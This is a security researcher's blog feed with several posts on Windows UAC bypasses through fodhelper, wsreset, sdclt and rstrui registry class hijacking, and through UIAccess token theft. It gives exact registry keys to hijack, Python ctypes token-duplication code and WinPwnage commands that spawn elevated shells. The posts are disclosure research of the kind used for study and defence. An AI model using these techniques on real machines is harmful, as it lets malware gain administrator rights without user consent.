Jekyll2021-10-26T07:52:08+00:00https://rootm0s.github.io/feed.xmlrootm0sSecurity researcher and developerRESEARCHING RSTRUI PROCESS2019-06-28T00:00:00+00:002019-06-28T00:00:00+00:00https://rootm0s.github.io/researching-rstrui-process<p>Rstrui is a signed Microsoft executable, which handles the system restore features. This executable has “autoElevate” property set to true in the manifest which
means it will run with high integrity level. While playing around in <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/procmon">ProcessMonitor</a> from
Sysinternals, I found out that rstrui.exe accepts command line arguments, I focused on the “/RUNONCE” argument.</p>
<p>While monitoring the activity, I couldn’t find any vulnerabilities at first. The UI starts up and fails, because I haven’t configured the
system restore feature on the test machine. Pressed the left button “Run System Restore”, see picture below.</p>
<p><img src="/images/rstrui_ui.JPG" alt="_config.yml" /></p>
<p>And checked back at ProcessMonitor, saw that it suffers from a class hijacking vulnerability, see picture below.</p>
<p><img src="/images/rstrui_procmon.JPG" alt="_config.yml" /></p>
<p>If adding path to another executable in the {Default} value at “HKCU\Software\Classes\exefile\shell\runas\command" we can trick rstrui to elevate another executable once
pressing “Run System Restore” button.</p>
<div class="embed-container">
<iframe src="https://player.vimeo.com/video/344967402" width="500" height="281" frameborder="0" webkitallowfullscreen="" mozallowfullscreen="" allowfullscreen="">
</iframe>
</div>
<p>One problem is that we cannot control this UI from a Medium IL process. In order to navigate the UI from a Medium IL process, we need to obtain a UIAccess token.</p>
<p>The first step is to either create or find a process with UIAccess flag, in this example we use “msra.exe” but could use “ctfmon.exe” which is running by default,
in that case we don’t need to create a new process.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">shinfo</span> <span class="o">=</span> <span class="n">ShellExecInfo</span><span class="p">()</span>
<span class="n">shinfo</span><span class="p">.</span><span class="n">cbSize</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">sizeof</span><span class="p">(</span><span class="n">shinfo</span><span class="p">)</span>
<span class="n">shinfo</span><span class="p">.</span><span class="n">fMask</span> <span class="o">=</span> <span class="mh">0x00000040</span>
<span class="n">shinfo</span><span class="p">.</span><span class="n">lpFile</span> <span class="o">=</span> <span class="s">"msra.exe"</span>
<span class="n">shinfo</span><span class="p">.</span><span class="n">nShow</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">shinfo</span><span class="p">.</span><span class="n">lpParameters</span> <span class="o">=</span> <span class="bp">None</span>
<span class="k">with</span> <span class="n">disable_fsr</span><span class="p">():</span>
<span class="k">if</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">windll</span><span class="p">.</span><span class="n">shell32</span><span class="p">.</span><span class="n">ShellExecuteExW</span><span class="p">(</span><span class="n">ctypes</span><span class="p">.</span><span class="n">byref</span><span class="p">(</span><span class="n">shinfo</span><span class="p">)):</span>
<span class="k">print</span> <span class="s">"[+] Created host process PID: {pid} using ShellExecuteExW"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">pid</span><span class="o">=</span><span class="n">shinfo</span><span class="p">.</span><span class="n">hProcess</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"[-] Unable to create host process using ShellExecuteExW"</span>
<span class="k">return</span> <span class="bp">False</span>
</code></pre></div></div>
<p>Open the token with TOKEN_DUPLICATE and TOKEN_QUERY access</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">token</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">(</span><span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">).</span><span class="n">value</span><span class="p">)</span>
<span class="k">if</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">windll</span><span class="p">.</span><span class="n">ntdll</span><span class="p">.</span><span class="n">NtOpenProcessToken</span><span class="p">(</span><span class="n">shinfo</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="p">(</span><span class="n">TOKEN_DUPLICATE</span> <span class="o">|</span> <span class="n">TOKEN_QUERY</span><span class="p">),</span>
<span class="n">ctypes</span><span class="p">.</span><span class="n">byref</span><span class="p">(</span><span class="n">token</span><span class="p">))</span> <span class="o">==</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_ulong</span><span class="p">(</span><span class="mh">0xC0000001</span><span class="p">):</span>
<span class="k">print</span> <span class="s">"[-] Unable to open process token using NtOpenProcessToken"</span>
<span class="k">return</span> <span class="bp">False</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"[+] Opened process token using NtOpenProcessToken: {token}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">token</span><span class="o">=</span><span class="n">token</span><span class="p">)</span>
</code></pre></div></div>
<p>Duplicate primary token with TOKEN_ALL_ACCESS access</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">dtoken</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">(</span><span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">).</span><span class="n">value</span><span class="p">)</span>
<span class="k">if</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">windll</span><span class="p">.</span><span class="n">ntdll</span><span class="p">.</span><span class="n">NtDuplicateToken</span><span class="p">(</span><span class="n">token</span><span class="p">,</span> <span class="n">TOKEN_ALL_ACCESS</span><span class="p">,</span> <span class="bp">None</span><span class="p">,</span> <span class="bp">False</span><span class="p">,</span>
<span class="n">TOKEN_TYPE</span><span class="p">.</span><span class="n">TokenPrimary</span><span class="p">,</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">byref</span><span class="p">(</span><span class="n">dtoken</span><span class="p">))</span> <span class="o">==</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_ulong</span><span class="p">(</span><span class="mh">0xC0000001</span><span class="p">):</span>
<span class="k">print</span> <span class="s">"[-] Unable to duplicate token using NtDuplicateToken"</span>
<span class="k">return</span> <span class="bp">False</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"[+] Duplicated token using NtDuplicateToken: {dtoken}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">dtoken</span><span class="o">=</span><span class="n">dtoken</span><span class="p">)</span>
</code></pre></div></div>
<p>Initialize Medium SID and lower the duplicated token from Medium+ to Medium integrity</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">mlAuthority</span> <span class="o">=</span> <span class="n">SID_IDENTIFIER_AUTHORITY</span><span class="p">((</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">16</span><span class="p">))</span>
<span class="n">pIntegritySid</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">()</span>
<span class="k">if</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">windll</span><span class="p">.</span><span class="n">ntdll</span><span class="p">.</span><span class="n">RtlAllocateAndInitializeSid</span><span class="p">(</span><span class="n">ctypes</span><span class="p">.</span><span class="n">byref</span><span class="p">(</span><span class="n">mlAuthority</span><span class="p">),</span> <span class="mi">1</span><span class="p">,</span> <span class="n">IntegrityLevel</span><span class="p">.</span><span class="n">MEDIUM_RID</span><span class="p">,</span>
<span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">byref</span><span class="p">(</span><span class="n">pIntegritySid</span><span class="p">))</span> <span class="o">==</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_ulong</span><span class="p">(</span><span class="mh">0xC0000001</span><span class="p">):</span>
<span class="k">print</span> <span class="s">"[-] Unable to Initialize Medium SID using RtlAllocateAndInitializeSid"</span>
<span class="k">return</span> <span class="bp">False</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"[+] Initialized Medium SID using RtlAllocateAndInitializeSid"</span>
<span class="n">saa</span> <span class="o">=</span> <span class="n">SID_AND_ATTRIBUTES</span><span class="p">()</span>
<span class="n">saa</span><span class="p">.</span><span class="n">Attributes</span> <span class="o">=</span> <span class="n">GroupAttributes</span><span class="p">.</span><span class="n">SE_GROUP_INTEGRITY</span>
<span class="n">saa</span><span class="p">.</span><span class="n">Sid</span> <span class="o">=</span> <span class="n">pIntegritySid</span>
<span class="n">tml</span> <span class="o">=</span> <span class="n">TOKEN_MANDATORY_LABEL</span><span class="p">()</span>
<span class="n">tml</span><span class="p">.</span><span class="n">Label</span> <span class="o">=</span> <span class="n">saa</span>
<span class="k">if</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">windll</span><span class="p">.</span><span class="n">ntdll</span><span class="p">.</span><span class="n">NtSetInformationToken</span><span class="p">(</span><span class="n">dtoken</span><span class="p">,</span> <span class="n">TOKEN_INFORMATION_CLASS</span><span class="p">.</span><span class="n">TokenIntegrityLevel</span><span class="p">,</span>
<span class="n">ctypes</span><span class="p">.</span><span class="n">byref</span><span class="p">(</span><span class="n">tml</span><span class="p">),</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">sizeof</span><span class="p">(</span><span class="n">tml</span><span class="p">))</span> <span class="o">==</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_ulong</span><span class="p">(</span><span class="mh">0xC0000001</span><span class="p">):</span>
<span class="k">print</span> <span class="s">"[-] Unable to lower duplicated token IL from Medium+ to Medium using NtSetInformationToken"</span>
<span class="k">return</span> <span class="bp">False</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"[+] Lowered duplicated token IL from Medium+ to Medium using NtSetInformationToken"</span>
</code></pre></div></div>
<p>Using CreateProcessAsUserA we can create a new process using the duplicated token, which has the UIAccess flag.
This process can control a High IL process with SendKeys or keyboard events.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">lpStartupInfo</span> <span class="o">=</span> <span class="n">STARTUPINFO</span><span class="p">()</span>
<span class="n">lpStartupInfo</span><span class="p">.</span><span class="n">cb</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">sizeof</span><span class="p">(</span><span class="n">lpStartupInfo</span><span class="p">)</span>
<span class="n">lpStartupInfo</span><span class="p">.</span><span class="n">dwFlags</span> <span class="o">=</span> <span class="mh">0x00000001</span>
<span class="n">lpStartupInfo</span><span class="p">.</span><span class="n">wShowWindow</span> <span class="o">=</span> <span class="mi">5</span>
<span class="n">lpProcessInformation</span> <span class="o">=</span> <span class="n">PROCESS_INFORMATION</span><span class="p">()</span>
<span class="n">lpApplicationName</span> <span class="o">=</span> <span class="s">"notepad.exe"</span> <span class="c1"># Path to executable that controls High IL process
</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">windll</span><span class="p">.</span><span class="n">advapi32</span><span class="p">.</span><span class="n">CreateProcessAsUserA</span><span class="p">(</span><span class="n">dtoken</span><span class="p">,</span> <span class="bp">None</span><span class="p">,</span> <span class="n">lpApplicationName</span><span class="p">,</span> <span class="bp">None</span><span class="p">,</span> <span class="bp">None</span><span class="p">,</span> <span class="bp">False</span><span class="p">,</span>
<span class="p">(</span><span class="mh">0x04000000</span> <span class="o">|</span> <span class="mh">0x00000010</span><span class="p">),</span> <span class="bp">None</span><span class="p">,</span> <span class="bp">None</span><span class="p">,</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">byref</span><span class="p">(</span><span class="n">lpStartupInfo</span><span class="p">),</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">byref</span><span class="p">(</span><span class="n">lpProcessInformation</span><span class="p">)):</span>
<span class="k">print</span> <span class="s">"[-] Unable to create process using CreateProcessAsUserA"</span>
<span class="k">return</span> <span class="bp">False</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"[+] Created process PID: {pid} using CreateProcessAsUserA"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">pid</span><span class="o">=</span><span class="n">lpProcessInformation</span><span class="p">.</span><span class="n">dwProcessId</span><span class="p">)</span>
</code></pre></div></div>
<p>Full code can be found here, with payload (uihack.py) example to send keyboard events to High IL processes.</p>
<ul>
<li><a href="https://github.com/rootm0s/UUB">https://github.com/rootm0s/UUB</a></li>
</ul>Rstrui is a signed Microsoft executable, which handles the system restore features. This executable has “autoElevate” property set to true in the manifest which means it will run with high integrity level. While playing around in ProcessMonitor from Sysinternals, I found out that rstrui.exe accepts command line arguments, I focused on the “/RUNONCE” argument.UIACCESS UAC BYPASS2019-06-25T00:00:00+00:002019-06-25T00:00:00+00:00https://rootm0s.github.io/uiaccess-uac-bypass<p>In these examples, we start a host process (msra.exe) that we steal the UIAccess token from. We downgrade the token IL from Medium+ to Medium. We use the token to spawn a new process (uihack.exe) with the UIAccess flag, we can now send keyboard events to the elevated processes.</p>
<p>Not designed to be stealthy, but it’s for sure possible! This is a demo in Python, just to display how it works.</p>
<p>You need to build the uihack python file to an executable, make sure it stays in dist folder. Once you created the uihack executable, you can launch uiap.py from a non-elevated command prompt.</p>
<h3 id="preview">Preview:</h3>
<div class="embed-container">
<iframe src="https://player.vimeo.com/video/344744930" width="500" height="281" frameborder="0" webkitallowfullscreen="" mozallowfullscreen="" allowfullscreen="">
</iframe>
</div>
<p>Here’s a few methods, showing how hijacking UIAccess tokens can be used to bypass UAC.</p>
<h3 id="rstrui-method">Rstrui method:</h3>
<p>This executable is running elevated by default. Since rstrui executable is vulnerable to class hijacking, we use that to spawn our executable which is defined inside uihack file. In order to trigger the hijack, we need to send keyboard events to the window. Upon success, a elevated console window or custom executable should appear. Read more here <a href="https://rootm0s.github.io/researching-rstrui-process/">https://rootm0s.github.io/researching-rstrui-process/</a></p>
<h3 id="taskmgr-method">Taskmgr method:</h3>
<p>This executable is running elevated by default, we send keyboard events to the window in order to launch an elevated console using the “Run new task” feature in Task Manager. Upon success, a elevated console window should appear.</p>
<h3 id="msconfig-method">Msconfig method:</h3>
<p>This executable is running elevated by default, we send keyboard events to the window in order to navigate through the list of available tools until we reach Command Prompt. Upon success, a elevated console window should appear.</p>
<h3 id="known-issues">Known issues:</h3>
<ul>
<li>If the system language is not English, we cannot detect the window since we use FindWindowA API call.</li>
<li>If the window doesn’t appear within 5 seconds, we won’t be able to detect the window since it’s not visible/created yet. Increasing the sleep-time could probably solve this problem.</li>
</ul>
<h3 id="build-with-py2exe">Build with py2exe:</h3>
<p>In order for a successful build, install the py2exe (http://www.py2exe.org) module and use the provided build.py script to compile all the scripts in to a portable executable. This only seems to work on Python 2, not on Python 3.</p>
<p><code class="language-plaintext highlighter-rouge">python build.py uihack.py</code></p>
<h3 id="full-code-here">Full code here:</h3>
<p><a href="https://github.com/rootm0s/UUB">https://github.com/rootm0s/UUB</a></p>
<h4 id="creds-to">Creds to:</h4>
<p><a href="https://tyranidslair.blogspot.com/2019/02/accessing-access-tokens-for-uiaccess.html">https://tyranidslair.blogspot.com/2019/02/accessing-access-tokens-for-uiaccess.html</a></p>In these examples, we start a host process (msra.exe) that we steal the UIAccess token from. We downgrade the token IL from Medium+ to Medium. We use the token to spawn a new process (uihack.exe) with the UIAccess flag, we can now send keyboard events to the elevated processes.FODHELPER UAC BYPASS2019-06-24T00:00:00+00:002019-06-24T00:00:00+00:00https://rootm0s.github.io/fodhelper-uac-bypass<p>Fodhelper is a auto-elevated executable, which is signed by Microsoft. Fodhelper was introduced in Windows 10 (10240) to manage optional features, like keyboard settings.</p>
<p>This executable is vulnerable to class hijacking, it can be used to spawn our executable with High integrity level. We need to hijack the default value at “HKCU\Software\Classes\ms-settings\shell\open\command” with full path to our executable and create a new string value with the name DelegateExecute set to 0.</p>
<p><img src="/images/fodhelper_procmon.JPG" alt="_config.yml" /></p>
<p>Once we created all the registry keys and values we can run fodhelper executable in order to trigger the UAC bypass.</p>
<p><img src="/images/fodhelper_cmd_pop.JPG" alt="_config.yml" /></p>
<p>This works from Windows 10 (10240) to <strong>Unfixed</strong></p>
<h3 id="full-code-at-winpwnage-project">Full code at WinPwnage project:</h3>
<p><a href="https://github.com/rootm0s/WinPwnage/blob/master/winpwnage/functions/uac/uacMethod2.py">https://github.com/rootm0s/WinPwnage/blob/master/winpwnage/functions/uac/uacMethod2.py</a></p>
<h3 id="winpwnage-usage">WinPwnage usage:</h3>
<p><code class="language-plaintext highlighter-rouge">python winpwnage.py --use uac --id 2 --payload c:\\windows\\system32\\cmd.exe</code></p>Fodhelper is a auto-elevated executable, which is signed by Microsoft. Fodhelper was introduced in Windows 10 (10240) to manage optional features, like keyboard settings.WSRESET UAC BYPASS2019-06-23T00:00:00+00:002019-06-23T00:00:00+00:00https://rootm0s.github.io/wsreset-uac-bypass<p>WSReset is used to reset Windows Store settings. This executable is signed by Microsoft and has “autoElevate” property set to true in the manifest.</p>
<p>This executable is vulnerable to class hijacking, it can be used to spawn our executable with High IL. We need to hijack the default value at “HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command” with full path to our executable and create a new string value with the name DelegateExecute set to 0.</p>
<p><img src="/images/wsreset_procmon.JPG" alt="_config.yml" /></p>
<p>Once we created all the registry keys and values we can run WSReset executable in order to trigger the UAC bypass. WSReset has to finish loading, can take a few seconds before the high IL process is created.</p>
<p><img src="/images/wsreset_cmd_pop.JPG" alt="_config.yml" /></p>
<p>Tested on Windows 10 (17134)</p>
<h3 id="full-code-at-winpwnage-project">Full code at WinPwnage project:</h3>
<p><a href="https://github.com/rootm0s/WinPwnage/blob/master/winpwnage/functions/uac/uacMethod14.py">https://github.com/rootm0s/WinPwnage/blob/master/winpwnage/functions/uac/uacMethod14.py</a></p>
<h3 id="winpwnage-usage">WinPwnage usage:</h3>
<p><code class="language-plaintext highlighter-rouge">python winpwnage.py --use uac --id 14 --payload c:\\windows\\system32\\cmd.exe</code></p>WSReset is used to reset Windows Store settings. This executable is signed by Microsoft and has “autoElevate” property set to true in the manifest.SDCLT UAC BYPASS2019-06-22T00:00:00+00:002019-06-22T00:00:00+00:00https://rootm0s.github.io/sdclt-uac-bypass<p>Sdclt is a Microsoft executable file which was introduced in Windows 7 (7600) to allow users to perform backups or restore a backup. This executable is signed by Microsoft and has “autoElevate” property set to true in the manifest. You can verify the manifest using <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck">Sigcheck</a> from Sysinternals.</p>
<p>This <strong>does not</strong> work on Windows 7 due to manifest has requestedExecutionLevel set to “AsInvoker”, preventing auto-elevation from a Medium IL process.</p>
<p>When sdclt executable is called from a Medium IL process, it runs another process of sdclt with high integrity level. This process calls control.exe which is located inside system32 directory.</p>
<p>Control executable is vulnerable to class hijacking, it can be used to spawn our executable with High IL. We need to hijack the default value at “HKCU\Software\Classes\Folder\shell\open\command” with full path to our executable and create a new string value with the name DelegateExecute set to 0.</p>
<p><img src="/images/sdclt_control_procmon.JPG" alt="_config.yml" /></p>
<p>Once we created all the registry keys and values we can run sdclt executable in order to trigger the UAC bypass.</p>
<p><img src="/images/sdclt_cmd_pop.JPG" alt="_config.yml" /></p>
<p>This works from Windows 10 (14393) to <strong>Unfixed</strong></p>
<h3 id="full-code-at-winpwnage-project">Full code at WinPwnage project:</h3>
<p><a href="https://github.com/rootm0s/WinPwnage/blob/master/winpwnage/functions/uac/uacMethod12.py">https://github.com/rootm0s/WinPwnage/blob/master/winpwnage/functions/uac/uacMethod12.py</a></p>
<h3 id="winpwnage-usage">WinPwnage usage:</h3>
<p><code class="language-plaintext highlighter-rouge">python winpwnage.py --use uac --id 12 --payload c:\\windows\\system32\\cmd.exe</code></p>Sdclt is a Microsoft executable file which was introduced in Windows 7 (7600) to allow users to perform backups or restore a backup. This executable is signed by Microsoft and has “autoElevate” property set to true in the manifest. You can verify the manifest using Sigcheck from Sysinternals.SDCLT UAC BYPASS (App Paths)2019-06-22T00:00:00+00:002019-06-22T00:00:00+00:00https://rootm0s.github.io/sdclt2-uac-bypass<p>This executable is running elevated by default. Since sdclt executable is vulnerable to
registry App Path hijacking, it can be used to spawn our executable with High IL. We need to hijack the default value at “HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe” with full path to our executable.</p>
<p>This works from Windows 10 (10240) to Windows 10 (16215)</p>
<h3 id="full-code-at-winpwnage-project">Full code at WinPwnage project:</h3>
<p><a href="https://github.com/rootm0s/WinPwnage/blob/master/winpwnage/functions/uac/uacMethod6.py">https://github.com/rootm0s/WinPwnage/blob/master/winpwnage/functions/uac/uacMethod6.py</a></p>
<h3 id="winpwnage-usage">WinPwnage usage:</h3>
<p><code class="language-plaintext highlighter-rouge">python winpwnage.py --use uac --id 6 --payload c:\\windows\\system32\\cmd.exe</code></p>This executable is running elevated by default. Since sdclt executable is vulnerable to registry App Path hijacking, it can be used to spawn our executable with High IL. We need to hijack the default value at “HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe” with full path to our executable.SDCLT UAC BYPASS (IsolatedCommand)2019-06-22T00:00:00+00:002019-06-22T00:00:00+00:00https://rootm0s.github.io/sdclt3-uac-bypass<p>This executable is running elevated by default. Since sdclt executable is vulnerable to class hijacking,
it can be used to spawn our executable with High IL. We need to hijack the IsolatedCommand value at
“HKCU\Software\Classes\exefile\shell\runas\command” with full path to our executable.</p>
<p>This works from Windows 10 (10240) to Windows 10 (17025)</p>
<h3 id="full-code-at-winpwnage-project">Full code at WinPwnage project:</h3>
<p><a href="https://github.com/rootm0s/WinPwnage/blob/master/winpwnage/functions/uac/uacMethod5.py">https://github.com/rootm0s/WinPwnage/blob/master/winpwnage/functions/uac/uacMethod5.py</a></p>
<h3 id="winpwnage-usage">WinPwnage usage:</h3>
<p><code class="language-plaintext highlighter-rouge">python winpwnage.py --use uac --id 5 --payload c:\\windows\\system32\\cmd.exe</code></p>This executable is running elevated by default. Since sdclt executable is vulnerable to class hijacking, it can be used to spawn our executable with High IL. We need to hijack the IsolatedCommand value at “HKCU\Software\Classes\exefile\shell\runas\command” with full path to our executable.